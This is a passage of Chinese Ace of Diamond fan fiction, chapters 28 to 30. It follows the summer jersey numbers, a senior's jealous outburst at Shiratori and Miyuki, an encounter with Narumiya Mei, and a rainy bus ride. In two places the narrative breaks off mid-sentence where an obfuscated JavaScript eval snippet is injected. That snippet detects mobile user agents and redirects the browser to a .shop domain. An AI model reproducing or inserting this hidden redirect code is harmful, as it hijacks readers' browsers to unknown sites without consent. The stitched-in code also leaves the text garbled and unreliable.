“不……这次我们一定能进甲子园的!到时候你可一定要和我一起,在那个位置继续注视我,接住我的球啊。” “嗯!约好了!” 两人对视,皆是一笑。 天赋是世界上最璀璨也最残酷的词语,梦想也一样,只是此刻,梦想的璀璨压倒了天赋的残酷。 两人重新向着青心寮的方向走去。 “你怎么总喜欢用激将法对付我。” “因为你很吃这套嘛。” 路灯下已经没有了两人的身影,话语也随之远去。 半晌,脚步声慢慢响起,另外两个身影逐渐在灯光下站定,遥望着两个前辈的背影。 “甲子园……” 28.最后的夏天 关于夏甲背号发放的那个夜晚,也许是因为那晚听见的内容,白鸟没有上次那么紧张了,他看向站在前列的柴崎前辈,那个背影依旧挺拔。 对于白鸟来说他曾非常非常在意身为王牌的前辈的想法,那是队伍的风向标、领头羊,他对自己讨人喜欢的本领不抱希望,因此加入青道后几乎是故意躲着柴崎前辈走。 是御幸带着他做了关系的破冰。 片冈监督看着列成方阵的队员们有些于心不忍,但是决定早已经在四场练习赛结束的那天就做好了,现在只是宣布而已,而这样的不忍在他成为教练后已经发生了无数次。 你能说那些落选的队员不努力吗? 事实上能进青道棒球社并且坚持下来的人,没有人不努力,甚至那些落后的会更加拼了命的去努力,奈何天赋是一道天堑,横亘在人与人之间。 那些起床望见天边太阳都还未升起的时刻,那些一遍遍挥棒直到星星都闭上眼睛的深夜,想起那些用汗水铸造的过往,被桎梏于原地看着他人在赛场上绽放光芒,失声痛哭后,还是要迎来下一个继续前进的明天。 “先宣布最后加入一军的人选,二年级增子透,一年级仓持洋一。” "然后是夏季预选赛背号的发放。" 片冈扫了一眼三年级的队员,对于没能在此刻进入一军的他们而言,其实棒球社的生活已经结束了。 “一号,白鸟京。” 现场顿时一片哗然,倒是一军的选手们接受的比较快,他们和白鸟一起战斗过,自然知道白鸟的实力如何,在青道,年龄从来不是理由,只有实力是。 柴崎松了口气,对他来说尘埃落定总比悬而未决要好。 “二号,御幸一也。”片冈监督并不受现场氛围影响,继续宣布下一个背号。 “又是一年级,一对一年级的王牌投捕。”有些三年级前辈不甘地看向柴崎和增田,希望他们能说点什么,但是对柴崎他们而言,该说的早在那天晚上就说完了,所以他们只是坦然的接受了这个结果。 后面的背号倒是没什么意外的,仓持以第20号的背号正式进入一军,本来应该高兴的,可是看着气氛悲伤的三年级们,他慢慢意识到,对于那些前辈而言,他们的夏天还没开始就已经结束了。 “背号发放结束,没能入选一军的三年级们都留下。” 这是青道的老传统,无论是离开的还是留下的,都知道接下来要发生什么,走出门外的一年级们不约而同的留在了门外。 “这三年谢谢你们愿意一直追随我这个不成器的监督。”片冈监督看着留下的三年级们鞠躬道。 留在门外的一年级们将一切尽收耳中,他们听见了监督包含心意的话语,听见了他对前辈们坚持不懈的感谢,还听见了前辈们不甘又痛苦的哭泣声。 原本他们并不熟悉青道的很多前辈,尤其是没能进入一军的三年级前辈们,但情绪是共通的。 御幸靠着墙低着头,他的眼镜阻隔了外界的目光:“所以留下的人要背负离开的人的愿望,更加努力才行啊。” *** 第二天的训练中,白鸟见到了那些实际已经半退社的学长们,他们的眼睛有些红肿,却依旧带着笑容在帮助一军们做基础训练。 当然,也有部分已然消失在了棒球社中,这也是理所当然的选择,没了棒球出赛的希望,自然该在剩下的高中生活里抓紧学习,为之后的升学做考虑。 夜幕低垂月亮今夜没有升起,因着几场阵雨,地面湿漉漉的。随着夏季的脚步渐近,樱花树上所剩无几的粉色也随着接连不断的雨点坠落在地。 接替樱花点缀人们视野的,是一团一团蓝紫色的“蒲公英”。 青心寮边就种着一从紫阳花。 夜雨刚歇,在晦暗又潮湿的夜色里,澡回去的路上白鸟在那丛蓝紫色旁停住了脚步,周围静悄悄的,只有从花瓣上积聚的雨水滴落在地时的轻轻的“啪嗒”声。 地上的积水因不远处的宿舍灯光反射出微微的光点,他就借着着那微弱的光线,驻足欣赏了一番悄悄绽放得十分美丽的花朵,紫阳花的枝蔓淹没了分隔空间的铁丝网,幼小的花朵团簇而开随着微风颤动的样子宛如蝴蝶的翅翼,一时间花枝深处好像不再是熟悉的世界。 御幸先是注意到了白鸟,然后才是那丛蓝紫的花,沉甸甸花枝的影子摇曳在投手的肩头,夜色中的少年肤如新雪。 “梅雨季来了啊。” 白鸟回头看向御幸,捕手单手插兜站在不远处,朦胧的灯光映在他脸上,点亮了他的瞳仁。 这丛紫阳花让训练的疲惫和因得到背号背负责任产生的巨大压力,似乎都倏忽远去。 可惜美好的总是短暂,纷乱的脚步声渐渐靠近。 两波人打了个照面,看见是三年级的前辈,白鸟和御幸礼貌地问好。 那些前辈自然也看见了这从紫阳花,他们立刻意识到白鸟和御幸停在这里大概是在看花,其中一个前辈忍不住出声:“真好啊,你们还有心情赏花。” 这句话里透露出的微妙恶意让白鸟一愣,但他并没有反驳些什么,只是礼貌道:“偶然看见,我们马上就回去了。” 可惜话既已经出口,就像开了闸的堤坝般停不下来,那个前辈没有借这个台阶闭嘴,而是继续道:“一年级就力压前辈们得到王牌和正捕手开心吗?” 白鸟微微皱眉,胸膛中泛起熟悉的恶心感,那些过往的记忆像是倒转的抽水马桶里的水旋转着溯流而上。 他对这个前辈并不熟悉,只知道应该是那时没进一军被留下的三年级学长之一。 说实话,他应对这状况应该变得熟练起来吗? 白鸟正准备说话,御幸却忽然接话开口,他笑着,就像没发现这个前辈语气中的愤懑不平:“开心啊,但是开心之余压力也很大,总之前辈们我们也会努力的。” 他一开口就完全吸引了火力,这话一说,那前辈如同被激怒的公牛般涨红了面孔。 “努力?我们不努力吗?!凭什么……” “喂丸濑!够了!” 一直冷眼旁观的其他学长见冲突似乎要升级连忙呵斥制止。 这反而让那叫丸濑的学长更加委屈,他大声道:“我就要说!监督真是太偏心了!他们一年级还有那么多时间,可对我们而言这就是最后的夏天了,柴崎和增田为球队贡献了这么多,居然连最后让他们作为王牌和正捕毕业都不行!” 这论调也太耳熟了。 “球队难道是打感情牌的地方吗?和前辈相反我只想要胜利呢。”御幸的眼镜反射着白光,他的笑容依然挂在脸上,看不出丝毫因为和前辈的冲突而动摇的地方。 “喂!御幸你也少说点吧!”那个试图消弭冲突的前辈简直头痛欲裂。 他知道丸濑因为最终也没能从二军晋升一军得到上场机会而心情不好,但是看他白天帮忙训练时精神状态还算不错也就放下了心,谁知道突然现在爆发了啊。 刚开始那一句他听出了不对,可白鸟和御幸作为后辈平时都很礼貌,他不认为会引发什么冲突也就没管。早知道会变成现在这样,刚才就应该直接把丸濑拉走的。 丸濑听见御幸这么说简直气炸了,他挥开拦他的人:“什么?!你什么意思!” 什么叫打感情牌?!丸濑往前走了几步,然后被其他人手忙脚乱的再次拉住,他们生怕从口头冲突转变成无可挽回的地步,到时候他们这些在现场的都要倒霉。 白鸟突然一个跨步挡在御幸面前,金眸在黑夜中像是什么猛禽,里面全是尖锐的攻击性:“一也的意思是,青道是强者上的队伍,竞技是唯结果论的地方。无论前辈们觉得监督的选择到底如何,我们能做的只是不辜负监督和球队的期待,仅此而已。” 丸濑被白鸟冷冰冰却又无比正论官腔的话一噎,正准备再说点什么。 另一道声音从不远处传来:“喂喂喂,吵什么呢?” 转头一看是村田学长和柴崎学长,村田一如既往看上去懒洋洋的,而柴崎紧皱着眉头。 御幸看了白鸟一眼,正对上白鸟转头给他使的眼色,他微微一愣,明白过来后嘴角的笑意变得真实了些,哪怕明白了白鸟的意图,他还是从白鸟身边走了出去。 捕手站在投手身后算什么事啊。 柴崎严厉地看着那几个学长,尤其是躲在人群里的山中景虎:“有什么不满和我说,冲后辈发火算什么前辈!” 他难得生气,平日里在球队里的声望又重,丸濑害怕地白了脸色。 丸濑嗫嚅着:“我就是觉得不公平……大家已经这么努力了。” 柴崎难掩失望地看着丸濑:“难道白鸟他们就不努力吗?他们练习时你没看见吗?” “就算没看见,青道是个什么地方,你都在这待三年了你还不知道吗?” 村田则翻了个白眼:“你对后辈还真是刻薄啊丸濑,我记得当初我们的前辈没有像你这样的,想想我们还真是好运。” 这话说的是真阴阳怪气。 丸濑被激得立刻忘记了刚刚的害怕,他觉得自己好心都喂了驴肝肺:“我刻薄?” 他想起柴崎已经不是王牌了,指着柴崎说道:“我明明是为了你打抱不平,你就一点都不觉得不甘心吗?被学弟下克上不羞耻吗!你就一点自尊都没有吗!” “羞耻?”柴崎气笑了。 “羞耻有进甲子园重要吗?!我们打了这么多年棒球,究竟想要的是什么?下克上又怎么了?白鸟御幸他们的表现还不够吗?你不认可他们,究竟是他们不好,还是你自己嫉妒!” 柴崎好久没说过这么长一段话了,他说完一口气差 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16680017|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点没喘上来。 他是真的觉得离谱,完全搞不懂丸濑在想什么,说他因为实力落于人后不甘心就算了,羞耻和自尊心是什么,自尊心要用对地方吧?一直端着那些打棒球能打成什么鬼样子。 村田拍了拍柴崎示意他冷静点,他瞥向丸濑:“拿柴崎做筏子也不会让你对无辜后辈发难的行为增添任何正当性,我劝你想好了再说话。” 可惜丸濑要是能就此冷静,那他就不会在一开始说出那样情绪化的话了。 “我要的是站上赛场!你们这群天才当然不明白我的痛苦!”丸濑觉得委屈极了,他大吼。 “甲子园、甲子园、甲子园!从我接触到棒球开始,我就拼了命的想去甲子园,我为什么来青道棒球社吃这么多苦头,还不是为了高中生涯里能去一次甲子园!” “但是三年了……我连站上高中赛场的资格都没有!” 他的眼眶中落下泪来:“我打了这么久的棒球,我这么喜欢棒球。可是比不上就是比不上,不说你们,连一年级都超过了我那么多年日夜不辍的奋斗。” “老天凭什么这么不公平。”丸濑咬牙切齿,他浸着泪的眼珠中全是对虚幻命运的愤恨,在他眼中面前的人们已经不是一起打了三年球的同伴,而是不公的命运在现实的投影。 “你没站上赛场难道是我们的错吗?因为恨别人比恨自己轻松,是吗?” 村田“哈!”了一声。 站在这里的谁能不知道,竞技体育不就是这么个让人流血流汗又流泪的地方吗? 他走近几步逼近丸濑,红色的发色头一次让人感到炽烈如火:“刚刚听见你说什么努力,我就听得一肚子火。” “努力?”村田嗤笑,“难道那些输给我们的人是因为不够努力吗?难道我们一直进不了甲子园,一直被那道大门拒之门外,是因为我们没有他们努力吗!!” 村田平时都一副没什么架子软绵绵的样子,此时却像是一只发怒的狮子,把丸濑的眼泪都吓停了。 村田并非不明白丸濑的痛苦,但…… “强者上庸者下,对于体育竞技而言,这已经是最公平不过的竞争方式。” “你尽可以为此不甘痛苦,但无论如何,这都不是你将恶意倾泻向白鸟和御幸的理由,天赋与强大永远也不该是被攻歼的原罪。” “你似乎已经忘了,青道圆阵的口号究竟是什么?我们站在赛场上的信念是什么?” 村田的话像是一记重锤砸在丸濑的心上,他惊惶地盯着村田,彻底说不出话来。 丸濑突然记起,村田被选为副队长时因他平日懒洋洋的做派自己也不是没有质疑过,为什么监督会选择这样一个毫无威严的人做副队长呢? 如今、此刻,他忽然明白了。 “互相竞争的前提是为了球队变得更强。我们的觉悟可没你这么浅薄。”村田不想再管丸濑那群人,他最后冷冷盯了一眼缩在人群最后方的山中景虎。 “我不想再看见有这种事发生,今天的事我会告诉监督和东的。”村田撂下这句让那群人大惊失色的话,就转身招呼一直很安静的白鸟和御幸。 “走吧,别管他们,以后遇见这种渣渣前辈只管来找我。” 白鸟和御幸点头,他们对视一眼,跟着村田和柴崎离开。 哇……村田学长和柴崎学长好帅啊!他们两人对视的眼神中都是一模一样的内容。 村田和柴崎陪着他俩回到了宿舍,然后匆匆离开,柴崎学长走时回头看了他们一眼,似乎欲言又止。 等其他人都离开了,御幸跟着白鸟进入宿舍。因为他和仓持都会偶尔住在这里,白鸟并没有觉得御幸跟进来有什么不对,不过今天他清楚的知道是为了什么。 “我真的没事,”白鸟心中感到温暖。 这话是事实,不在乎才不会因此受伤害,最深的伤害往往来自最信任的存在。 再说了更难听的话他都听过,总该吃一堑长一智,不能再重蹈覆辙吧。 “那就好。”见白鸟的神色不像在强撑,御幸松了口气,他可不想在如此关键的时刻让白鸟的状态被这种人影响。 白鸟站在那里,沉静温柔地笑着望过来,从那双眼睛里他又看见了那簇紫阳花,熟悉的静谧安宁包裹了御幸,让他也微微牵起了嘴角。 *** 片冈监督和东清国他们知道这件事的反应各一,处罚的处罚,安抚的安抚,这件事并不适合弄得大众皆知,因此除了那晚的人员、队长们和教练等人,青道的其余人并不知道临近夏甲预选赛时棒球社内部的冲突。 御幸白鸟也觉得这样更好。 夏季预选赛开幕式的前一晚,万籁俱寂,白鸟已然陷入梦乡。 他的意识朦朦胧胧来到一片沙滩,他听见海边浪潮的呼吸声,还有一颗心破碎的巨响。 29.积雨云 东京的夏甲开幕式在明治神宫球场进行。 “啊……没想到这次抽签还挺幸运的,市大三高和稻城实业分到了一个半区,他们想见到我们得先打败对方哈哈哈哈哈!”东清国在大巴车上哈哈大笑,忍不住夸耀自己难得一见的好手气。 村田根本懒得吐槽是因为亚军根本不用抽签,就让东多高兴高兴吧。 7月5日的上午,明治神宫球场外集结了一大帮来自东京各个学校的棒球少年们,各色棒球服交相辉映。 作为上届夏甲预选赛西东京和东东京的的冠军市大三高校与帝东高校,两校的队长拿着属于冠军的优胜旗,在后续的开幕式中,他们将手持旗帜走在最前列。 旗帜将在开幕式中交还于主办方,直到此次预选赛的获胜学校带走它。 拿着旗的队伍在人群中真的很显眼,东清国一眼就看见了那些老对手。 待大巴车刚停稳,他就带着队员们气势汹汹地走了过去。 身着黑红色美○浓外套的青道棒球队员们在东清国的带领下宛如□□扫街,在其他学校敬畏的注视下摩西分海般穿过人群来到了市大三高的面前。 “哼,好久不见啊山胁,这次的旗帜就由我们青道收下了,趁着现在还拿在手上,你就再多看看吧,省的到时候哭鼻子。”东清国先声夺人,对着市大三高的队长就是一顿输出。 山胁胜人满脸黑线:“你这张嘴,怎么每次说话都这么难听。” 东清国嗤笑:“这就是我的风格,海老名呢?” “稻实先进内场了,估计是在选手通道那边吧,”山胁还能不知道东清国在想什么吗,他有点无语,“海老名今天有点暴躁,我劝你别去找骂。” “天气一旦不好他就这脾气,他是什么天气之子吗?”东清国表示才不惯着他。 因为多云,今天的天空有些阴沉,对于比赛来说其实这个天气更好,没有耀眼的太阳意味着视野更加清晰,体力流失的也会更慢。 奈何稻实的队长海老名秀则更喜欢晴朗开阔的好天气,一旦天气不合心意就会变得攻击性很强,不过这攻击性运用到比赛中时能造成不错的效果,教练也就随他去了。 东清国嘿嘿一笑:“今天要是下个小雨就好了,气死他哈哈哈哈。” “你真是够了。”山胁嘴角抽搐,这人真是一如既往的不顾其他人的死活,下雨难道只淋海老名一个吗? 仓持环顾着四周,有些惊叹:“哇塞,东京这么多球队啊,感觉大家都好厉害。” 村田拍拍仓持的后背,让他抬头挺胸:“有点棒球豪强的意识啊,咱们可是其中的佼佼者。” 村田其实早就在暗搓搓地关注这个高岛副部长特招进来的游击手小子,在他看来后辈游击手中唯有仓持的天赋最好,就是打击有待提升,楠木也不错但还是差点意思。 等人升上一军,他觉得继承他衣钵的人终于来了,就开始主动亲近,搞得仓持受宠若惊,连可能要在比赛中和小凑学长正式搭档的压力都渐渐忘了。 仓持被村田一拍,一个激灵挺直脊背:“是!” 小凑微笑:“真丢人。” 仓持泪流满面,我以后真的要和小凑学长组二游间吗?小凑学长好可怕! 在东清国的带领下,青道进入了选手通道,看来他并没有放弃去招惹稻实的队长,增田作为副队长是真的心累,一个浑似□□老大的队长,一个平时一点不管事的副队长,他真的承受了太多。 白鸟心情很差,他从睡醒开始脑子就乱糟糟的,还好今天只是开幕式,给了他缓冲的时间。 昨晚梦中不详的感觉一直萦绕在他的脑海中,他从未见过要圭露出那种仿佛在悬崖边缘只要行将踏错立刻就会粉身碎骨的表情。 后面究竟会发生什么? 梦境在急转直下后猛然消失,徒留他还深陷其中。 深陷在过往的回忆里。 那双温柔的下垂眼和永远闪烁着纯粹勇敢光芒的金色眼瞳,那是能够驱散夜幕深寒的晨曦,只要和要圭待在一起似乎总有数不清的快乐。 “小白快跟上!” “小白,别不开心啦~一起丢便便球吧!” “小白!小白!求你了,我们和■■■一起去公园玩吧~” 金色的、温暖的雨将沙砾冲刷,那些明媚的记忆如钻石般熠熠生辉,是他珍贵的宝物,若不是这段非比寻常的经历,白鸟京八成会成长为一个阴沉又不讨喜的家伙。 唯有那人在那时坚定地握住他的手,带着他走过了孤独,走过了人生最重要的三年时光。 直到棒球改变了要圭,他变得沉稳冷静,「智将」的称呼渐渐取代了曾经那个不想吃苦,总是抱怨的孩子。 他一开始以为这是好的转变,毕竟人总是要长大,白鸟从小就深刻的明白这个道理。虽然不舍那个开朗顽皮的要圭渐渐在「智将」的光芒下消失,但对于伙伴取得的成就他还是打心底高兴,甚至开始对捕手这个位置抱有某种隐秘的期待。 一年前,梦境自此而断。 待其再次出现,却打碎了他所有的期待。 如果说红白赛前的梦是悲剧的前奏,是陶瓷上细密的裂隙,那昨晚的梦就是一地的碎片。 梦变得比以往更加无序混乱,浑浊的情绪昏暗的光线,一切都变得扭曲可怖。 那些无法发泄的负面情绪是一块块堆叠在要圭脊背上的石头,棒球变成了压力本身,随着时间推移那些暗自忍耐的伤口愈发糜烂,为了成长,他将自己像块海绵般挤压、挤压再挤压,榨出的水混着血,直到习惯疼痛,麻木到再也感受不到痛楚,也感受不到快乐。 白鸟的手下意识放到了左上臂,指腹下是凹凸不平的粗糙感,他略有些神经质地扣挠了几下,刺痛让他回过神。 不对,中间有什么不对!白鸟悚然发觉,似乎有什么被他忘记了,小时候在要圭的世界里不是三个人一起玩的吗? 还有一个人是谁来着?接触棒球的原因?要圭一直注视的对象,他强迫自己到如今这个地步的家伙……是谁来着? “……” “小心。”御幸拦住再走就要撞上柱子的白鸟,因为白鸟魂不守舍的,两人与队伍脱节落在了后面。 他有点无奈又担忧:“从早上的时候开始你就不对劲,是不是那天晚上的事还是影响到你了?” 那恍惚间意识到的东西又从脑海中偷偷溜走了,白鸟张张嘴有点不知道从何说起:“不是的,我做了个梦。” “梦?”御幸恍然,不过他还是觉得不对劲,于是追问道,“什么梦让你这么异常?” 白鸟默然,他垂眸避开了御幸探究的目光,往日的回忆一旦打开就满溢而出,乱糟糟的再一次模糊了现实与虚幻的界限。 正当他纠结的时候,一个少年响亮的声音刺破空气凿进白鸟耳中。 “一也!” 一开始白鸟并没有反应过来,毕竟这么多人叫Kazuya的肯定不止御幸一个,不过人都朝着这边跑过来了,那淡金的发色让白鸟一下子把注意力集中到了来者的身上。 “学长好。”那人急匆匆向他点了个头,紧接着抱怨道,“一也,你怎么来了也不和我打招呼。” 成宫鸣——和他们一届的天才投手,稀有的左投,白鸟国中时期远离东京都能一直听见他的传说,他们那届的青少棒全国大赛的冠军投手便是成宫鸣,他是名副其实的年少成名的天才少年。 国中的第一投手和国中的第一捕手当然是认识的,他不应该感到意外才对。 白鸟神思不属,眼前的景象一会儿是幼时模糊的记忆,一会儿是现在御幸的背影,说不清道不明的愧疚与悲伤闷在心里。 “哎呀,这不是没看见吗?鸣你怎么随意离队。”御幸摸头装傻。 一个臭着脸的身影也从稻实队伍中跟了过来:“鸣,不要随意乱跑。” “就几步远能出什么事啊?雅学长管的好多。”成宫抱怨着,完全不管原田雅功愈发臭的脸色。 成宫鸣抱怨完就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16684402|188658||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 双手叉腰对着御幸道:“哼哼哼,青道还是很有眼光的嘛,让你当上了正捕手,不过成宫大人一定会在预选赛把你打个落花流水,让你后悔拒绝跟我来稻实。” 他语速极快,话又密,因为天赋而众星捧月养成的骄傲自信的性格让他说起话来十分旁若无人,不过奇异的不会让人讨厌,可能是因为那份骄傲并非傲慢,还有那张金发蓝眼的可爱脸蛋加成吧。 “你们那个关东大赛上报道的投手呢?在哪在哪?”成宫鸣把手搭在额头上,视线在青道的人员里扫了半天。 白鸟在报纸上的报道,因为青道并没有同意记者的采访所以只有一张距离很远的投手丘照片,完全看不清长什么样子。 御幸闷笑:“不就在这边。” “?”成宫纳闷,青道一个个长得五大三粗的,怎么也看不出来哪个和他一样是一年级啊。 突然,他意识到了什么,脑袋一卡一卡地转向白鸟,仿佛能听见机器久不上油的咯吱声。 “你你你……”成宫颤抖着,那双蓝色的圆眼睛瞪得老大“你是一年级?你怎么就成王牌了!!!我刚刚还喊你学长!” 成宫鸣突然变大的声音吓得白鸟一个激灵,到是让他乱糟糟的脑子清醒了很多。 “哈哈哈哈哈哈哈哈哈!”御幸抱着肚子笑起来。 成宫鸣恼羞地脸都红了,他指着大笑的御幸:“你刚刚也不提醒我!你是故意的!” 那双蓝眼睛瞪过来,脸颊气鼓鼓的:“喂,刚刚我叫了你学长,你也得叫我一声学长才算公平!” 白鸟蒙了,他低头看着成宫:“可我又没有应声。” “那又怎样,你这低头低的是什么意思……”成宫眯起眼睛。 看着成宫鸣浅金色的发丝,白鸟眨眨眼:“没什么,初次见面成宫学长,我叫白鸟京。” “……”为什么感觉好奇怪,一点也没有找回场子的感觉。 成宫鸣哼了一声:“你认识我?” “看来果然还是我比较有名,别以为比我先成为王牌就比我厉害,这次夏甲预选赛的冠军只会是稻实,我要让一也知道没选我就是他的错,让他后悔去吧!” “……” 白鸟脸上扬起一个微妙的笑容,那双金灿灿的眼睛被苍白的睫毛半遮着,场外的天空中阴云愈发厚重遮蔽了太阳,将云下的万物泼上一层墨色,潮湿的空气如回潮的浪卷进心底。 “后悔啊……” “什么?”因为吵闹的环境成宫鸣并没有听清白鸟的低喃。 倒是御幸因为成宫刚刚的话有点儿汗流浃背,他干笑着正好看见东学长和稻实的队长结束了交锋,立刻道:“哈哈,鸣你赶快回去吧,小心你们队长生气。” 成宫鸣将信将疑地转头,刚好对上海老名黑黑的脸,立刻缩缩脖子。 “总之你俩给我等着。”他瞬间跑了回去,声音越来越小。 原田雅功在成宫鸣回去后,才找到机会和白鸟和御幸打招呼,他叹了口气,那张粗犷的脸上露出一点无奈:“初次见面,我是稻实的原田雅功。” “原田学长好。”两人听见了成宫叫他雅学长,自然明白这人是他们的前辈,虽然不明白他为什么不跟着成宫鸣一起回去,但依旧表现得很礼貌。 “这次大赛希望我们能有交手的机会。” 御幸笑了笑:“一定会的,原田学长。” “再会。”原田雅功点点头转身离开。 “这是战书啊。”御幸有点汗颜,成宫鸣究竟在稻实都瞎说了些什么啊,怎么还有稻实的学长专门来下战书的。 白鸟没有说话,他看着稻实的方向闭了闭眼睛,复又睁开。 “走吧。” “什么?” 白鸟从他身边走过,跟上了青道的大部队:“先不说成宫会不会被稻实的队长骂,我们再不跟上,就要被东学长骂了。” 御幸的镜片反光,脸颊上滑下一滴汗,完了完了京的心情本来就不好,被鸣这一挑衅更是完蛋啊! 30.阵雨 直到开幕式正式开始,御幸都没找到机会和白鸟好好交流,他也知道自己的嘴巴说不定会把事情搞得更糟,于是非常庆幸仓持也在。 结果被仓持一句话呛了回去:“自己造的孽自己去解决。” 御幸只能悻悻而回。 排队入场是按着背号来的,东清国作为队长站在最前面,然后就是白鸟、御幸等,入场环绕一圈后便在最中间的方阵中站定等待领导讲话。御幸站在白鸟身后看着他的背影,仔细思考着对策。 知道身后的捕手究竟在想什么,白鸟轻轻叹了口气,用御幸能听见的音量说道:“我没事。” 话音刚落,一点沁凉的雨点落在御幸脸上,他抬头看看阴沉的天空,又重新看向白鸟的背影:“看来天空并不赞同你的话。” 白鸟失笑:“本来就要下雨了。” 随着台上球协的领导开始惯例的演讲,丝丝雨滴缠绕在大家身上,不过因为雨量很小茫茫如雾,开幕式还是继续了下去。 周围沉闷湿热的空气也随着落下的雨点渐渐凉爽起来。 随着这场及时雨,白鸟觉得心中的窒息感隐约散去很多,他终于能从负面情绪中喘口气来审视自己的内心了。 现如今他开心吗?这是毋庸置疑的,仅管有些小插曲,但在青道的这些日子他真的十分幸福,与梦里那些虚幻的记忆不一样,他现在拥有的一切都是真实的。 真实……白鸟低头看着自己的双手。 他为自己的幸福感到愧疚,因为他有种强烈的,即将失去什么的、无可挽回的惶恐。 如果现实其实也是一场梦呢?他的脑子里偶尔会有这样啼笑皆非的问题冒出来,待梦醒他又会和大家成为陌生人。 就像要圭和绫濑川,如今的他就算和他们再次见面,他们也不再记得他了吧。 伸手抓雾,留住的只有一手冰凉。 雨雾蔓延至他心底,他不喜欢这样悲观的想法,白鸟努力让自己不去思考那些注定没有结果的问题,但就像想要在雨里躲避那些细密的雨滴一样徒劳无功。 雨渐渐变大了,脚下泥土和植物的气味蔓延上鼻尖,开幕式似乎要暂时终止。 “都怪东的乌鸦嘴。”村田嫌弃地拉了拉被淋湿的衣服。 “臭手没能发挥作用,所以改成乌鸦嘴发力了是吧。”增田有点脸黑,他也是听见东清国和山胁对话的人之一。 就在发言人要匆匆结束今天的开幕式时,雨水又变小了。 梅雨季的阵雨就是忽大忽小,忽来忽走的,今天的天气预报还说阴天无雨呢,这不是下得挺欢。 不过考虑到场内大家衣服都淋湿了,主办方还是尽快结束了开幕式。 为了防止感冒,场内的更衣室和休息间都给球员们完全开放,路途遥远的棒球队在回去之前还是先做洗漱更衣为好。 青道高中离得不算远,因为第一天没有比赛,大家也没带更换的衣物只得先拿毛巾擦擦,赶紧回学校。 刚上大巴,雨倾盆而下。 大巴车上,属于雨水的味道、人的气息、皮质坐垫与水结合散发出的气味混作一体,浑浊地充斥在有限的空间内。 白鸟脸色苍白,他平时并不晕车,但现在有些黏糊的味道让他脑袋发昏,身上也湿乎乎的很不舒服,糟透的情绪和糟透的现状。 大巴上没办法开窗通风,只能寄希望于车内自带的通风系统,可惜车内通风向来烂的很,尤其是大巴。 雨幕中一辆辆车缓缓驶离球场,车窗上凝结的水珠将外面的世界扭曲成模糊的色块。白鸟靠着窗,额头抵在冰凉的玻璃上,试图用那点凉意缓解越来越重的晕眩感。 御幸坐在他身边,目光几次落在白鸟微微发白的指节上——他正紧紧攥着座椅边缘,像是在忍耐什么。 “喂,你还好吧?”御幸终于忍不住压低声音问道。 白鸟没有回头,只是轻轻摇了摇头。 前排的仓持瞥了他们一眼,突然站起来从包里取出一瓶矿泉水,隔空抛给御幸。 “让他喝点水,”他简短道。 御幸戳了戳白鸟的肩膀:“喝一口吧,不然待会儿吐车上味道可就更恐怖了。” 白鸟这才接过水瓶,小口抿了几下,冰凉的液体滑过喉咙,确实让翻腾的胃稍微平静了些。 他低声道了谢。 京的状态很奇怪,绝不只是晕车和鸣的缘故。御幸冷静地用目光一寸寸扫过白鸟的脸,试图通过表情来读出投手的内心所想。 在御幸心中,白鸟京是个相当敏锐警惕的人,他心中有一杆精准的尺,谁能走进门里,谁被关在门外,从一开始就被丈量明确了。 目前来看,打开门的密码里肯定有棒球二字。在班级里时,非必要白鸟从不与棒球社之外的其他人接触,到现在半个学期过去了,班级里的人他估计都认不全。 再之后,估计还要加上捕手、朋友、搭档之类的限定词汇。 白鸟的手指无意识地摩挲着瓶身,眉头紧了紧:“你为什么没有和成宫去稻实?” 御幸一愣,没想到白鸟问的是这个:“想这些没用的干嘛?我现在就在青道,就像你也没去白龙。” “成宫鸣在国中声名显赫,”白鸟终于转过头,湿漉漉的刘海下,眼睛定格在虚空的一点,“面对他的邀请你都拒绝了,究竟什么样的投手会让你驻足停留呢?” 大巴恰在此时碾过一个水坑,剧烈的颠簸让白鸟猛地向前栽去,御幸下意识伸手拦了一下。 “小心点。”掌心触到的皮肤冰凉潮湿,让人不禁有些担忧。 白鸟的问题不难回答,御幸向来对自己想要什么有着清晰的认知:“我拒绝成宫鸣,是因为我想在青道与克里斯前辈同台竞技。” 他顿了顿,又补充道:“和是什么样的投手无关,我不会为任何人停留。” “我想我一辈子都不会讨厌棒球,所以为了更好的打棒球,我会一直向前。” 他说这些话时,平静又笃定,让人不由自主就会去相信,他一定能做到。 白鸟垂下眼睛看着自己的手腕,御幸的手已经收回,唯留下了属于另一个人的余温。 两人之间一时只剩下雨打车窗的声响。 车窗上,雨滴在白鸟侧脸的模糊投影上蜿蜒出细小的河流,恰巧流经那粒细小的痣。 “我明白了。”良久,白鸟轻声说。 御幸突然觉得喉咙发紧,像是有什么话卡在那里,不上不下:“京,其实我……” 白鸟微微睁大眼睛,终于转眸看向御幸。 这是这一天中他们第一次对视,御幸看着白鸟的眼睛,不知是不是因为阴沉的天气,那双眼睛显得格外黯淡。 车厢后排突然爆发出一阵笑声,三年级的前辈们正在传看谁的手机。这阵喧闹恰到好处地冲淡了两人之间微妙的氛围。 本来就不擅长说这些,被这一打岔更是说不出来了。 他窘迫,白鸟反倒释然,握在手瓶上的手收紧,回暖的指尖在矿泉水瓶上留下一点雾气。 “御幸,”他突然说,“你知道我最讨厌你哪一点吗?” “啊?”御幸瞪大眼睛,“突然说什么呢?” 